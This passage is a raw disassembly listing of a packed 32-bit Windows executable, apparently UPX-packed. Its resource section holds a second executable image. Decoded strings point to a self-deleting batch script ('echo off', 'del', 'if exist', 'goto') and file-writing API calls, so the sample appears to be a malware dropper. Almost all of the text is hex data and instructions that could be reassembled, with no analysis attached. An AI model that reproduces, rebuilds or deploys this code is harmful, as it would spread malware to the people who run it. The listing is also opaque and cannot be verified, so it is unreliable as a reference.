0FFC6FFEEh, 196AD233h, 0F75FC18Bh, 800821F7h, 658361C2h dd 16880008h, 0B7EDFF14h, 155B05DBh, 8D1BF3F7h, 0BE0F017Eh dd 316BE30h, 0F75E99C2h, 0DDB7FEFEh, 0A6A146Fh, 29F78B59h dd 0F7251788h, 845FFF1h, 7087D83h, 0DC37C26Ch, 4CB7C5Bh dd 462E06C6h, 8D991256h, 4FC7E186h, 21EF0208h, 75D8DC07h dd 0F468FC9Bh, 2C3501Bh, 0FDF8182Dh, 0CCE35D97h, 0E5C15017h dd 84148701h, 2FFEDECDh, 5E636A03h, 1EFE8346h, 6404CA7Ch dd 0D292C75h, 0D0D08FE6h, 0F6854854h, 0EC681974h, 37185027h dd 0FF0227DDh, 324C0CD0h, 0B9C75EC0h, 703930F1h, 0A856B404h dd 0F608FC94h, 53DBF270h, 1557A7BFh, 4D9337B6h, 3B600CAEh dd 4A0774C7h, 0B9BC6CE9h, 0A80423DDh, 56FB9017h, 0E4FF5D88h dd 0D82D9C5Ch, 9B16E08Bh, 26F66398h, 0FF357674h, 7147131Ah dd 0E8B774BBh, 0D8F6522Fh, 6E0BD1Bh, 4B5302E2h, 0F39B374Fh dd 0C30C691Fh, 0F874F815h, 37AF2C7Fh, 51E44D8Dh, 90682B6Ah dd 59D92923h, 0F812A99Ah, 2CEC4D53h, 689C64F6h, 0D60D14FCh dd 3C81F1BBh, 68D61DD9h, 59106AF8h, 0A97F6ED4h, 0F3A4CAD7h dd 0E85D89ABh, 0ABEC07h, 0E96562CDh, 0A00416h, 64B9DB29h dd 44A0273Eh, 2D01CCECh, 8D387CD0h, 0EC58856Ch, 950F6A28h dd 6B5B68C3h, 0E8105175h, 4517F04h, 0C08BFB98h, 905850h dd 3EED4F07h, 4C78D1Ah, 64B13F03h, 36C2A287h, 480000CCh dd 6FFFEA6Fh, 506B6FFEh, 636F72h, 6F6D6572h, 666C6176h dd 2E656C69h, 0ED746162h, 0AEDFFF77h, 6F686365h, 66666F20h dd 643A0A0Dh, 6C656404h, 0C312520h, 0FF37B5ADh, 65206669h dd 74736978h, 746F6720h, 0B73B1C22h, 75FF6DBFh, 6C6C646Eh dd 192E3233h, 2C731765h, 69746341h, 7765744Bh, 577FFDDFh dd 63787A61h, 65777364h, 49420B71h, 75C004Eh, 42617453h dd 72CCEDDAh, 22003474h, 78222007h, 0A2846050h, 90220EEh dd 0FE84A840h, 42000323h, 4E004900h, 9125514Eh, 2A0AC88h dd 4001559h, 0D82C0A32h, 415055FFh, 4E494444h, 8585847h dd 0A314810Fh, 210A8122h, 47B0015h, 88A0C810h, 0E56C008h dd 0E797FFF2h, 47011058h, 65567465h, 6F697372h, 4178456Eh dd 0FF1412DBh, 736F6C43h, 60614865h, 0D6570C65h, 72FDFECDh dd 46657469h, 72430A69h, 240B6165h, 0FF6D0B52h, 1664D9DAh dd 50083D53h, 1D6E696Fh, 0D8F7FB72h, 6F4D4D8Fh, 296C7564h dd 2D6D614Eh, 7274736Ch, 0FDBF370Ch, 53096E6Eh, 6F657A69h dd 6F733D66h, 4C637275h, 96DB636Fh, 0D6BB03Ch, 6E406461h dd 0C059D90Dh, 9B584126h, 6C1B7A41h, 74413B7Bh, 7562695Dh dd 636A737Dh, 7B3DBEA7h, 79700958h, 0D795339h, 69446D65h dd 0DF60EDB5h, 6F7463C3h, 69541472h, 0BD5E437Ch, 0B7AC05AEh dd 73B11322h, 6EDDAC56h, 318409EEh, 725D4C65h, 0BB253461h dd 0BD4505DDh, 15646441h, 0BDAF7373h, 1C360C21h, 0B3202041h dd 1CCC16EDh, 50705061h, 0B00D6814h, 0AC652142h, 0E52F5D6Fh dd 8F42CD20h, 75436C65h, 68584F2Fh, 0D27353A6h, 14C4550h dd 0FFF3404h, 0E85E00F9h, 0E04656h, 10B010Fh, 0E000A07h dd 4F7D9C90h, 14B19Eh, 0B400D20h, 0B374902h, 73304B6h dd 606CD00Ch, 341E6E67h, 3A060710h, 9676C8h, 903C5221h dd 205D6460h, 74A79030h, 9F60BE1Fh, 65742E0Fh, 900D8478h dd 2DB904EBh, 6042CA7Ch, 6464722Eh, 38CFB61h, 5F616EDh dd 0BA271223h, 902D2E40h, 73268B67h, 0BB3B3094h, 0C027D6C6h dd 103A734Fh, 0B74F8A60h, 8CA692B6h, 0B00D2916h, 80000021h dd 0C1AB3Fh, 24000h, 0FF00h, 0E000BE60h, 0BE8D0040h, 0FFFF3000h dd 0FFCD8357h, 909010EBh, 90909090h, 8846068Ah, 0DB014707h dd 1E8B0775h, 11FCEE83h, 0B8ED72DBh, 1, 775DB01h, 0EE831E8Bh dd 11DB11FCh, 73DB01C0h, 8B0975EFh, 0FCEE831Eh, 0E473DB11h dd 0E883C931h, 0C10D7203h, 68A08E0h, 0FFF08346h, 0C5897474h dd 775DB01h, 0EE831E8Bh, 11DB11FCh, 75DB01C9h, 831E8B07h dd 0DB11FCEEh, 2075C911h, 75DB0141h, 831E8B07h, 0DB11FCEEh dd 0DB01C911h, 975EF73h, 0EE831E8Bh, 73DB11FCh, 2C183E4h dd 0F300FD81h, 0D183FFFFh, 2F148D01h, 76FCFD83h, 42028A0Fh dd 49470788h, 63E9F775h, 90FFFFFFh, 0C283028Bh, 83078904h dd 0E98304C7h, 1F17704h, 0FF4CE9CFh, 895EFFFFh, 7B9F7h dd 78A0000h, 3CE82C47h, 80F77701h, 0F275003Fh, 5F8A078Bh dd 0E8C16604h, 10C0C108h, 0F829C486h, 1E8EB80h, 830789F0h dd 0D88805C7h, 0BE8DD9E2h, 0C000h, 0C009078Bh, 5F8B3C74h dd 30848D04h, 14094h, 8350F301h, 96FF08C7h, 140D0h, 47078A95h dd 0DC74C008h, 4857F989h, 0FF55AEF2h, 140D496h, 74C00900h dd 83038907h, 0E1EB04C3h, 40DC96FFh, 0AE8B0001h, 140D8h dd 0F000BE8Dh, 0BBFFFFh, 50000010h, 53046A54h, 8DD5FF57h dd 1FF87h, 7F208000h, 7F286080h, 50545058h, 0D5FF5753h dd 448D6158h, 6A8024h, 0FA75C439h, 0E980EC83h, 0FFFF2D71h dd 230h dup(0) _a__ ends ; Section 3. (virtual address 0000F000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 0000F000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rsrc segment para public 'CODE' use32 assume cs:_rsrc ;org 40F000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing dd 2 dup(0) dd 4, 1, 80000058h, 80000018h, 2 dup(0) dd 4, 10000h, 68h, 80000030h, 2 dup(0) dd 4, 10000h, 409h, 48h, 0F064h, 602Dh, 4E4h, 0 dd 420003h, 4E0049h, 4060h, 905A4Dh, 3, 4, 0FFFFh, 0B8h dd 0 dd 40h, 8 dup(0) dd 100h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 ; --------------------------------------------------------------------------- fcomp dword ptr [ebp-35h] xchg eax, ecx pushf cmp al, 0A5h retn 3C9Ch ; --------------------------------------------------------------------------- movsd retn 3C9Ch ; --------------------------------------------------------------------------- movsd retn 341Fh ; --------------------------------------------------------------------------- cli retn 3C9Eh ; --------------------------------------------------------------------------- movsd retn 1F46h ; --------------------------------------------------------------------------- mov ecx, 0A53C9DC2h retn 348Fh ; --------------------------------------------------------------------------- clc retn 3C9Eh ; --------------------------------------------------------------------------- movsd retn 341Fh ; --------------------------------------------------------------------------- clc retn 3C96h ; --------------------------------------------------------------------------- movsd retn 1F66h ; --------------------------------------------------------------------------- mov esp, 0A53C9FC2h retn 3C9Ch ; --------------------------------------------------------------------------- movsb retn 3CEBh ; --------------------------------------------------------------------------- movsd retn 3099h ; --------------------------------------------------------------------------- dw 0C2C5h ; --------------------------------------------------------------------------- xchg eax, ebp cmp al, 0A5h retn 3099h ; --------------------------------------------------------------------------- cli retn 3C9Dh ; --------------------------------------------------------------------------- movsd retn 3099h ; --------------------------------------------------------------------------- stc retn 3C9Dh ; --------------------------------------------------------------------------- movsd retn 3099h ; --------------------------------------------------------------------------- inc edx popf cmp al, 0A5h retn 6952h ; --------------------------------------------------------------------------- dw 6863h ; --------------------------------------------------------------------------- pushf cmp al, 0A5h retn 0 ; --------------------------------------------------------------------------- align 10h dd 5 dup(0) dd 4550h, 4014Ch, 465DA69Ah, 2 dup(0) dd 210E00E0h, 0A07010Bh, 4000h, 1000h, 0C000h, 113FCh dd 0D000h, 11000h, 10000000h, 1000h, 200h, 4, 0 dd 4, 0 dd 15000h, 1000h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 111B8h, 0C0h, 11000h, 1B8h, 14000h, 20h, 4 dup(0) dd 11278h, 0Ch, 14h dup(0) dd 0E8B5CEE8h, 0 dd 0C000h, 1000h, 200h, 400h, 3 dup(0) dd 0E0000080h, 69E3F901h, 0 dd 4000h, 0D000h, 3800h, 400h, 3 dup(0) dd 0E0000040h, 63B583A6h, 0 dd 3000h, 11000h, 2400h, 3C00h, 3 dup(0) dd 0E0000040h, 63B583A6h, 0 dd 1000h, 14000h, 20h, 6000h, 3 dup(0) dd 40000040h, 50h dup(0) dd 32000000h, 33302Eh, 21585055h, 802090Dh, 0BA24EAEEh dd 0E787627Fh, 0EE80h, 343Dh, 8000h, 0CD000026h, 8E3FF6EEh dd 570E1C50h, 75E10687h, 12F1FCA9h, 0FBB502D7h, 0DC1B4AD4h dd 0DB1D7E7Ch, 0B7BE330h, 60EDC66Bh, 5E57DCBDh, 56BD3F7h dd 51089730h, 876BED7Ch, 42F16A78h, 43D04893h, 2310F7F8h dd 0AB953929h, 0FAB1E123h, 70C042FCh, 74E1E80h, 0B2BD9F03h dd 0C5281C34h, 346BC18Bh, 0C78D181Ch, 0C71F9187h, 57519383h dd 11E0C541h, 2C26F0BBh, 0ABD3928Fh, 97ADF03h, 0E0B8C08h dd 8E06E187h, 786BD1C2h, 0EC0A4D19h, 36899796h, 15070428h dd 661D7F6Eh, 591E4223h, 22DBDCBBh, 6C176814h, 879785A5h dd 0C702E74Eh, 7526B9FEh, 651DD3Fh, 0D115FE90h, 0FCB5E1FFh dd 5D3DDD8h, 0DF4B910Eh, 51E4D0D3h, 6D5D1561h, 6BE79282h dd 43799343h, 7BC162D3h, 177A3070h, 17391A3Ch, 0E550ABh dd 2B4F898Bh, 2342ADF1h, 8B56FE58h, 0BFC79934h, 51940780h dd 71E6486h, 306BCEF7h, 0DC3D0C9Ch, 8FB12CECh, 1520004Ch dd 5163C968h, 0B0E919D1h, 0F0577746h, 22C8D05h, 34A0841Ch dd 305AD57h, 723DE7C4h, 0B8831878h, 340C1806h, 8FD1408h dd 0F9F2D186h, 7B8AD439h, 48839A8Eh, 263C0920h, 590BC238h dd 1AE6B61Fh, 7001FDA6h, 0ECBBDABBh, 931E6127h, 23764C7h dd 0B07FCE82h, 0F4F97FBh, 0B7F0538Bh, 32C11879h, 70E62A3Fh dd 0F4ADB7Ah, 6A14D68Bh, 149CDE68h, 0F910917Dh, 0C40A146Ch dd 0AF52CD53h, 148BE05Eh, 0E6D968Bh, 8F4D4B34h, 8665D0FCh dd 0A059183h, 0FB9EC73Ch, 0D51A2FF6h, 0C7814A81h, 5809F2E3h dd 1C63EADDh, 22E71804h, 96E99782h, 5EA8267h, 3C6B80B3h dd 84F25513h, 2769D96Ah, 216CD64Ah, 31D0C391h, 0F7B0D5DBh dd 0C6B96D5h, 37991AFh, 0F5F643D5h, 0EB6A47C7h, 982F7E05h dd 0F8F1E121h, 0C7E7E1D4h, 31089B61h, 439D7E39h, 3C5A25EAh dd 77940008h, 95ED5CFFh, 4944890Ch, 7F0C521h, 0AAE188C3h dd 1DD4F2E7h, 16D978Eh, 30F68C7h, 72EC910Ah, 3283C2E3h dd 27113611h, 43F81B3Ah, 0A4A8C07Dh, 5162EA36h, 6B264AE7h dd 6B087ABBh, 2F7C52F4h, 0C4134C3Eh, 70CFBD00h, 0BC70E454h dd 0F0ACD13Bh, 1B642CD3h, 45D62B4h, 0F1BBDF33h, 2228EEB6h dd 71A5BBCDh, 8B9DDEFh, 1740C96h, 0B2F1C04Dh, 69C7ADF6h dd 42E8AB08h, 520D2C31h, 4D4FBDFCh, 210B3EA2h, 26B1438Fh dd 7C9CED0Bh, 0E0F23707h, 140E4A80h, 0FB6917Fh, 91F3ACF4h dd 7A27B517h, 0F315F21Bh, 321CB402h, 0EABFE2E7h, 8FE3DF7Ah dd 62E04Dh, 0F3506C8Bh, 0CE5010FCh, 57704C40h, 0B4CC5BFAh dd 2E3B47B9h, 34595880h, 738A9609h, 84111D3Ah, 0F75120F8h dd 67373C25h, 8021C3E9h, 0B46DEF52h, 2CDD6F5Eh, 6DCAF16Fh dd 40B2E18Eh, 0E661B12Bh, 3C399907h, 869E4585h, 0B72228C2h dd 0B958694Eh, 0A8654C86h, 764F8C6h, 455B1C7Ah, 6B7C10CFh dd 0C5698E89h, 0CC4F0D2Ch, 24555ADCh, 9BD3D61h, 8CCE2ACDh dd 3C158424h, 7F456DD2h, 0C7E0AC44h, 6D9597ADh, 0C91E5417h dd 0C9631CFEh, 0CC9787Ah, 53004408h, 66F82AD3h, 642F2F2Fh dd 0AD26762Ah, 0AB5089F3h, 0F9E2548h, 80CA88F7h, 379CDA68h dd 0F794E2ABh, 23181C78h, 1E862DC0h, 0C0277765h, 76E00284h dd 9E2C1EC0h, 74D3AFE4h, 73155A39h, 0E7330708h, 4777BD86h dd 9DD394D2h, 731E3101h, 2AD34892h, 43666EFh, 7740458Bh dd 81F51B27h, 0FBE6C918h, 521AE26Fh, 3AE4EBEBh, 857697ACh dd 4B183C58h, 998A13C5h, 6BB692D9h, 38648C56h, 8A3BAC75h dd 0D1E89C8h, 27B597C5h, 0DF85902Ah, 0ADEF1CB8h, 777AF3E1h dd 23C8E5D6h, 4689942Bh, 0EFBB454Ah, 7F0A61B4h, 4B60455Fh dd 0B45BD0FDh, 2516CC3Ch, 385B4C6Bh, 85DB91FFh, 0F8640B4Ch dd 1B0DB266h, 0A132649Dh, 0E1892A54h, 0B7609807h, 25EA41EEh dd 26686Eh, 4D979BC7h, 59084B23h, 2FE894D8h, 308DDD65h dd 0AEDAC68Ch, 5A854F3Ch, 0B15BCE8Fh, 501AACE0h, 3DB3D1A4h dd 4287F26Ah, 93906C6Ch, 4C5D682Ch, 70C1C774h, 2B66554Eh dd 789BC4E8h, 2FB528FBh, 68647FF4h, 0ED2DBD31h, 8E3B2DF3h dd 151A928Fh, 720800C4h, 0B07CE403h, 0FABF9608h, 6E994346h dd 85CAA34Ah, 9747D0CCh, 1F9D771Fh, 32876A53h, 4D54D47Bh dd 82720EEEh, 0F7B24258h, 140F4F65h, 3E2537D3h, 9F7D6848h dd 6F0DCE5h, 7F75AB46h, 0CDD8FC08h, 3B5BC1Ch, 18EB2A17h dd 0DFE01FD0h, 0C840D1F5h, 49D9C46Dh, 0AAD72BF7h, 1C9FD57h dd 0E6EF0516h, 5CE4BF32h, 1EAC49DDh, 0A943A413h, 0AAD0F199h dd 0C6CC2A14h, 222361E0h, 1F1F0F52h, 0D491E14Ch, 0C4E70CFBh dd 793B7316h, 0A8EA00F3h, 2014C82Fh, 59E45A35h, 7FA169E8h dd 0A23DDD57h, 0AA9C71E1h, 1332E335h, 1124D1DFh, 522A5DC1h dd 78CD9354h, 8A41C3EDh, 0E1626ADAh, 20BDB70h, 63F2117h dd 0A4BEB220h, 72B8E800h, 482A8837h, 5A71407h, 99433D19h dd 75E81806h, 0C4253524h, 460F8EECh, 4F0303FDh, 83D6448Ch dd 9A86686Fh, 620E3A67h, 0ED4EEA77h, 83E8243Eh, 0ADA57A93h dd 9E22F9AFh, 1F761459h, 0C0CDC93Ch, 0FF92A384h, 27FD3B4Dh dd 0A5152953h, 1C16372Eh, 0F596D14h, 1AEA9267h, 38024F64h dd 0C0E887FEh, 25568D40h, 89A45383h, 0A7264DE8h, 22BECDA5h dd 0DEC6E714h, 6822C874h, 2A070B5Ch, 0B5992A82h, 0EBE347A3h dd 83C0D5DFh, 5D4F87h, 685A829Eh, 0B3E01A53h, 5FEB97F2h dd 4743A276h, 0C73080D7h, 95688C4Dh, 984CF806h, 95CDF4C0h dd 7F18D88Ah, 0F3240C9Fh, 5E629E5Bh, 2E9B4239h, 122351F4h dd 8E03FF2Eh, 2062D19Eh, 0DA9497BFh, 1338438Fh, 295B05B7h dd 0F2A5B5ADh, 39336866h, 4D68FF07h, 17864A0Dh, 39B217E5h dd 0F128CBDh, 9023DFCCh, 4FEA08FAh, 0AD6B65D5h, 0C1C2F0FBh dd 0B68A69A3h, 0B65D83A0h, 77FD765Bh, 577C4BF8h, 3E1F9C0Bh dd 0E2462853h, 0A6B9EC41h, 77CC1CA9h, 0BC039A16h, 45D2E9E8h dd 7B1BAD8Dh, 0F0D5EA4Eh, 3060D516h, 215E0CE2h, 122CBE9Dh dd 8CF0644Ah, 0F3A6D9BBh, 0FC94D234h, 0F7EFA57Dh, 27A950ABh dd 7583A4D3h, 63D6A653h, 0EC54D429h, 32BDA450h, 37764170h dd 92227F6Dh, 0D160F292h, 67B136B3h, 9CED376Dh, 73F527CFh dd 394E7F4h, 0F785E287h, 0F5BCE0D5h, 0CF5068C0h, 78F54B4Ch dd 8DBC188Ah, 0D1B80F3h, 8A83480Fh, 755A90EBh, 0E843E192h dd 2D170E49h, 1A5EBCA9h, 7795F1EBh, 36D4444Dh, 76CD3902h dd 68DDA3Ch, 6353CD4Fh, 5419B836h, 9BDE1AD0h, 700462h dd 2DD8151Fh, 9DCA4625h, 72D0189Fh, 0E39AE14Ch, 45EEC7Eh dd 5A8721B2h, 0DD0AB6Bh, 5EA5B7D4h, 0D5FEF628h, 87060C95h dd 0C0F8C99h, 10B0DAC7h, 7CDAC1B8h, 944A08FFh, 0BB702D99h dd 62416DE8h, 0A8C11802h, 9829504Ch, 9401D0A2h, 7CC6270Fh dd 0A81AA901h, 0F78ADCBDh, 9F4D1A5h, 99AAE4FCh, 78239777h dd 716ED0F8h, 61304BA5h, 54FD07C2h, 8B6A1909h, 0C6B1CDB3h dd 1B9F006Ah, 0C6CD8287h, 7586D163h, 84C49789h, 0DA13C262h dd 0E7EA7367h, 7DE4D876h, 79F8FF31h, 5E1EE492h, 2C1C336Fh dd 78F44B42h, 0FCC30DB0h, 533E2E1h, 0C4C3EFCFh, 8FA4F8DFh dd 1375BCDEh, 60D0DCFDh, 8DFE3E4Ch, 606AC78Fh, 711BA802h dd 7F9F0B7Ch, 47490E44h, 9D9CDDB8h, 0A0CD9637h, 773EE430h dd 0CF8DE4D3h dd 732C323Fh, 0C58FC207h, 751F1D5Bh, 45D26FBh, 0EEFB749Bh dd 0F041DB55h, 87D0DA5Bh, 89F643BDh, 786AE6C3h, 0A8CE5B8h dd 55E1B903h, 0B31573D3h, 9352D6D1h, 72E70D2Bh, 7AF4AB8Dh dd 7EB9CB7Ah, 0E64FBF57h, 0D8461900h, 34E49D08h, 0A7C8393h dd 70C7429Ch, 5669C7F5h, 567E7729h, 80A62BBh, 2DF30785h dd 31097B53h, 0E6B3799Dh, 7048C131h, 5FEEA767h, 34120E78h dd 9208523Ah, 5C0A43D8h, 43AD9098h, 35BCEACDh, 3E6BF28Fh dd 2B7AD5A8h, 0C629F16Ch, 842BA012h, 0EF8E3DE6h, 0B1C55E0Eh dd 8F34047h, 0F0C1026h, 5C9A1787h, 3E475B5Eh, 74C1CDC2h dd 0F5F9C625h, 78F1B587h, 8ED6104Ch, 4874D591h, 0A64B0039h dd 5CCAC2FEh, 72592A0Ch, 3DAB2580h, 0D3B21E72h, 70265C34h dd 27C5CD1h, 0D12CC90Ah, 6A8856AFh, 0DE5A8BAh, 0E6B00C3Ch dd 0D9236C3Eh, 360DA038h, 9E63D38Dh, 2FD4AA3Dh, 984AF59Bh dd 95C0AA46h, 0ABF4F763h, 7C2A4EEh, 76907950h, 594E9F23h dd 0B7FFE522h, 3455B36Eh, 725B90D7h, 1D43946Ah, 9DF62013h dd 84C02Ah, 253FEA0Dh, 0AAEBF963h, 400C5C2h, 387ADE7Ch dd 0C757FB4Ch, 17513F3h, 5F94BF03h, 1E7A3A32h, 0E794EFA0h dd 13998BAFh, 4EEFB5B5h, 736A164Ch, 8795A486h, 0B979095h dd 8B6EC3AAh, 394603Dh, 0CBA2B986h, 2C700631h, 5DCA538Ch dd 6DD8FC22h, 0ACAD54A3h, 0A924606h, 798C49D5h, 0F71D64D4h dd 4A3CF394h, 5AE59BAEh, 859407B1h, 68A8E745h, 80943587h dd 34E5E901h, 0C83B444Ah, 1370CAB3h, 0A6CA9E78h, 8FBD4E81h dd 0BBDB0EA8h, 7B3F08B5h, 7193C76Fh, 0CE7B62E6h, 68DBC50Eh dd 9D561952h, 0D6DF48Dh, 1BB8DCFBh, 2E68965Bh, 6B570F27h dd 284E82B3h, 0AA78FB2Eh, 49395F7h, 63E7B120h, 204D4519h dd 4F1AF8B0h, 0C183F3A6h, 17E198FAh, 2D8EE9A3h, 0B170C134h dd 88162C4h, 3C0A6867h, 0F7E0C868h, 9E894419h, 0F5B635ACh dd 0C04F874Eh, 246BD93Eh, 0DFB85A16h, 329513F5h, 0E2EDF435h dd 601BAA23h, 550CAA37h, 681C0429h, 61885FA4h, 13BE6AEFh dd 0CB96030h, 2E89226h, 432047Dh, 7D32F2DBh, 4FE3E2E0h dd 7EE2DEF7h, 237B5470h, 67298008h, 0F37D7B71h, 79FA2A5Eh dd 0C019A337h, 7CED7A83h, 9D6FD1D5h, 28D5C23Dh, 474B1F32h dd 8D5A9F86h, 49DF1FEBh, 78E2D1F7h, 8E05B076h, 0D6FDD894h dd 368A799h, 1AF74981h, 0EB026265h, 3063718Fh, 0DFCF9711h dd 0E78042D6h, 8566CB5Eh, 64A87354h, 46469530h, 7859CB82h dd 16745135h, 5CA9627h, 1C051967h, 0D329ACEBh, 3263B547h dd 55AD48E2h, 0FB8BEAC0h, 0F3E6B5ADh, 4E52341h, 0F570F800h dd 0C6E37746h, 74E9CA6Dh, 841E411Bh, 0CB05C665h, 0A44557C3h dd 61E5E63h, 8DCD1F0Fh, 0F96A0B79h, 4CF1ED01h, 86C864FEh dd 8D2E4CF9h, 77C4C0C3h, 107B1904h, 1D202303h, 4CD08873h dd 75958179h, 0E06C889h, 361AF803h, 0BFA767F1h, 2719C28Ch dd 585501BCh, 0F445D4E0h, 0EF02B639h, 1B267B42h, 7313E4C0h dd 8CCA9199h, 1711EC25h, 0C6E99D54h, 23C4529Ch, 0DD59D6FEh dd 46F8676Ah, 0D66B8181h, 6F040470h, 1C541522h, 948DAD3Eh dd 48FFDE9Dh, 0B63DADDh, 64E3E538h, 82B1C76Eh, 0A94A00D0h dd 4183A57Dh, 3F06482h, 57C8DFC7h, 0D13594C4h, 0CC854E6Fh dd 44E4937Ch, 3B8AF60Bh, 0B7C05C81h, 0DF2B7839h, 611C53F2h dd 1005F9BBh, 0F944A135h, 3F80028h, 975A91BBh, 72CA6A95h dd 86185490h, 0BA5DE063h, 5E3B0EB9h, 151FF747h, 84B23773h dd 0BA85C42Fh, 305FAE54h, 9E04FDCFh, 2117A711h, 866760F3h dd 0FAF094FCh, 12321D7Ah, 6A53FD88h, 0D332241Ch, 59CFDA0Eh dd 31162034h, 4C38E1BFh, 0E4AE7A10h, 45A16653h, 0FA7D5E5Dh dd 0B217E05Eh, 59087D49h, 1EFDADD1h, 5F532CC7h, 28789311h dd 0B0D0CD08h, 0D8BE0657h, 0D3E942Eh, 3536484h, 0DA01389Dh dd 670E4984h, 376F2B56h, 0FD9A8FFh, 0C43EF4D0h, 0B0EB80BFh dd 4190459Fh, 2786A0B4h, 0C33D58FBh, 0A3E8B2Bh, 0C7AC7406h dd 27137DECh, 2F85704Ch, 18DBA44Dh, 13E44669h, 0E978CC76h dd 0C3C3EB13h, 8831037Ch, 7B0F2578h, 0F9BDF8D2h, 79F2419Ch dd 2B81A3BFh, 0EA0843BBh, 7B0EC090h, 0C1F0107Eh, 36B93E41h dd 7B57C7BCh, 0B42045ABh, 0C70CD4BBh, 0A8E2C560h, 3CD572DEh dd 37FF4952h, 4C35D4C7h, 60B706FFh, 0C18F1843h, 5F7C8B7Fh dd 31057EBAh, 78982D44h, 7AC4DD9h, 73D7F59Eh, 30F53972h dd 3392D796h, 8A1C687Ah, 6ED9C0DBh, 1CAF2A44h, 4AB23994h dd 0F5853646h, 62E74BC9h, 1099C3F8h, 0B1304A7Dh, 958418D2h dd 0F89C6770h, 878413D8h, 0CD538689h, 8F4FFE53h, 303D8582h dd 6BE02B1h, 905BF3E7h, 0E053C48Eh, 5DE091ECh, 0AE0B4DC4h dd 0CEB45438h, 0CF2F29AFh, 8A72543Ch, 0C5099556h, 20C12065h dd 0CB8201FDh, 1BA805A3h, 9D18CD6Bh, 1F5869DAh, 0F3164798h dd 5D499A95h, 0BAE4A2h, 0C5A6A57h, 0B9D8D69Eh, 0DB102D97h dd 91478673h, 0A40C1589h, 7DB73B4Eh, 7D657A8Ch, 0AA85FC6Ah dd 6A0DAA37h, 7630F86Bh, 0E7200388h, 0D9D7EC06h, 77F66277h dd 0EA3CF8C0h, 0D19F9B95h, 0C1BF4AFDh, 0FB18EEB6h, 8EF407C1h dd 8DAB3C78h, 0E176CC45h, 2E07C6FCh, 0DA7CAEE8h, 0F9D0F40Ah dd 0A0633235h, 71503222h, 0E381A459h, 6916CB13h, 5E180897h dd 1EE00E91h, 79674C3h, 0ADF40D6Bh, 0F32FB756h, 0D12A914Dh dd 0A9BEFCCFh, 0A829AD38h, 0BBC4B7E4h, 0D42D39C6h, 0CBE88C21h dd 0A80C0D3Fh, 0B8D31CF2h, 4FD663D0h, 0D1A50354h, 0E2DE481Ah dd 5D0C7440h, 83912B03h, 6D9D4CB4h, 0C6139E8Fh, 8978D13Ch dd 505C7FA7h, 0A773CEDCh, 3C847200h, 52194E8Dh, 860E1B63h dd 0F1D6F08Eh, 7DF8496Fh, 0C61495E4h, 0CB6DD2DBh, 0D7FE9187h dd 0D3A80064h, 1772503Ch, 639F3E5Bh, 71FF27C7h, 6B11EA89h dd 0ECCCB6E8h, 6B2EEA87h, 63F69FFAh, 789FEFFFh, 8858AAB9h dd 90E0387Dh, 2378890Ch, 9CA3981Bh, 0D6CECAE6h, 76EE5C6Ch dd 8FA366E4h, 232F4C3Eh, 6AA26F4Eh, 0B2977220h, 0F79E5714h dd 0FA5A958Bh, 889E2A0Dh, 48E26C9Ah, 116E74FCh, 0B8AD274Fh dd 973B3A4Ch, 0E7289AC0h, 0E7928B08h, 0D3B69B59h, 0DE287539h dd 0BC000D9Eh, 97189A24h, 7641C963h, 0A0622755h, 70417C91h dd 0D2DEC3Fh, 0AC7AD38Ch, 3E7B7AC4h, 0AF8C5AE1h, 1BE6FEE1h dd 221C273Fh, 9B35244Eh, 38219F88h, 9F0A047Ah, 51F0F79Eh dd 9814B634h, 3C01F44Ah, 94BEC738h, 2FAA6F7Eh, 3C02A973h dd 0F3DD7B4Ah, 0F04CE393h, 31D1C5B3h, 0FF72D303h, 345E112Fh dd 3912EA13h, 1DFF78D0h, 641917Ah, 9E778C68h, 8EC42780h dd 0A8EFBF50h, 53ECA3Bh, 1CFEDC95h, 4A371041h, 71A3EE72h dd 4B128068h, 32D34A7Dh, 0C48D4CC7h, 0CDCA3081h, 0EF8D1FF8h dd 0C7B69680h, 0D614A281h, 0C193D066h, 0B9C2529Ah, 0EAC89733h dd 71618FEh, 0DD6B241Eh, 1140A435h, 4FDD908Fh, 0DCE2053Fh dd 7C7D6019h, 0F8873215h, 159F5651h, 453CB328h, 3C6A10B8h dd 51A2E30Fh, 0B4551EA8h, 473E1029h, 43B006B8h, 7F52807Fh dd 0D6E57FD5h, 9D969888h, 7AD31C92h, 0A71874A4h, 0CD54ACB8h dd 52378702h, 0A04FC980h, 0F1CDFB44h, 68925D9Ah, 0F528D70h dd 0EE1B2D2Fh, 1DE2A3F8h, 7978E555h, 46760614h, 0D0A41499h dd 68D79FE0h, 235BD9D4h, 74074E03h, 0A033423Ch, 72838D5Bh dd 0D51C4A73h, 0C61D738h dd 3AF87AD8h, 13C808B2h, 6A9E45F8h, 0A2F049B5h, 4C5C216Ah dd 7A754215h, 31F9C50Bh, 450C967Ah, 693CFD63h, 1E17F54Dh dd 0F608EF82h, 0C0F3F004h, 0B0DF0584h, 0CE1C9C52h, 1C6D3F7Fh dd 0C011941Ch, 201DDA03h, 505AE239h, 9D52D81Bh, 3A4B0746h dd 0CA5B982Eh, 8BBA4FF8h, 0A95A0782h, 572CF6EFh, 117F178Ch dd 2F6E0597h, 7CF3D82Fh, 80D6C343h, 96E09285h, 0DB2E4EFh dd 46D20996h, 40047403h, 50CB5C3h, 5CDA90FCh, 7EA6D395h dd 12D53CD9h, 41C6B482h, 0C187F0A8h, 7BB0F258h, 157A377Ch dd 1CDAAF4Ah, 0C0021404h, 0BE980400h, 0C86DB791h, 0B5B7CF5Fh dd 7FD7434h, 3016BA5Ah, 0E1164F59h, 78710883h, 0ABB9CADh dd 57EF1174h, 0A1D4470h, 0BE18294Ah, 64A6AD68h, 0C6D5DAF3h dd 0FBA9D418h, 7BF3C430h, 1DB8A264h, 34724FCBh, 688F4F0Ah dd 6417AC95h, 0DC6FCC1h, 19F7D275h, 2B8C403Fh, 103AC0ECh dd 6AD6E893h, 20BC34A8h, 59483B74h, 0CC89DF6h, 0E3CE6FD8h dd 0DA289462h, 6ADEE86Ah, 0BC803363h, 5E2A273Eh, 